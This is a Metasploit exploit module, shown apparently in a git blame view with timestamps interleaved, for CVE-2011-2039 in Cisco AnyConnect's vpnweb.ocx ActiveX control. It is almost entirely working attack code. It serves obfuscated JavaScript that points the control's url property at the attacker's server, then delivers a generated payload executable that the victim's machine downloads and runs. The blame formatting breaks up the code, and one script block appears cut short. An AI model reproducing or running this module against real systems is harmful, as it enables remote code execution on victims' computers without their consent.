2011-06-06 18:52:26 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-06-06 18:52:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
|
|
|
|
'Description' => %q{
|
2011-10-17 03:49:49 +00:00
|
|
|
This module exploits a vulnerability in the Cisco AnyConnect VPN client
|
|
|
|
vpnweb.ocx ActiveX control. This control is typically used to install the
|
2011-06-06 18:52:26 +00:00
|
|
|
VPN client. An attacker can set the 'url' property which is where the control
|
|
|
|
tries to locate the files needed to install the client.
|
|
|
|
|
|
|
|
The control tries to download two files from the site specified within the
|
2011-10-17 03:49:49 +00:00
|
|
|
'url' property. One of these files it will be stored in a temporary directory and
|
2011-06-06 18:52:26 +00:00
|
|
|
executed.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'bannedit' ],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-2039' ],
|
2011-06-06 19:06:18 +00:00
|
|
|
[ 'OSVDB', '72714'],
|
2011-06-06 18:52:26 +00:00
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
|
|
|
|
[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86
|
2011-10-17 03:49:49 +00:00
|
|
|
}
|
2011-06-06 18:52:26 +00:00
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 01 2011',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
|
|
|
if request.uri.match(/vpndownloader\.exe/)
|
|
|
|
exe = generate_payload_exe({:code => payload.encoded})
|
|
|
|
|
|
|
|
print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
|
|
|
|
send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
|
2011-10-17 03:49:49 +00:00
|
|
|
select(nil, nil, nil, 5) # let the file download
|
2011-06-06 18:52:26 +00:00
|
|
|
handler(cli)
|
|
|
|
return
|
|
|
|
end
|
2011-11-28 04:42:59 +00:00
|
|
|
|
2011-06-06 18:52:26 +00:00
|
|
|
if request.uri.match(/updates\.txt/)
|
|
|
|
print_status("Client requested: #{request.uri}. Sending updates.txt")
|
|
|
|
updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
|
|
|
|
send_response(cli, updates, { 'Content-Type' => 'text/plain' })
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-06-06 20:15:51 +00:00
|
|
|
url = get_uri(cli)
|
2011-06-06 18:52:26 +00:00
|
|
|
|
|
|
|
dir = rand_text_alpha((rand(40) + 1))
|
2011-06-06 19:49:33 +00:00
|
|
|
js = ::Rex::Exploitation::JSObfu.new %Q|
|
2011-10-17 03:49:49 +00:00
|
|
|
var x = document.createElement("object");
|
2011-06-06 19:49:33 +00:00
|
|
|
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
|
2011-06-06 20:15:51 +00:00
|
|
|
x.url = "#{url}/#{dir}/";
|
2011-06-06 18:52:26 +00:00
|
|
|
|
|
2011-06-06 19:49:33 +00:00
|
|
|
js.obfuscate
|
|
|
|
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
|
2011-06-06 18:52:26 +00:00
|
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
send_response_html(cli, html)
|
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|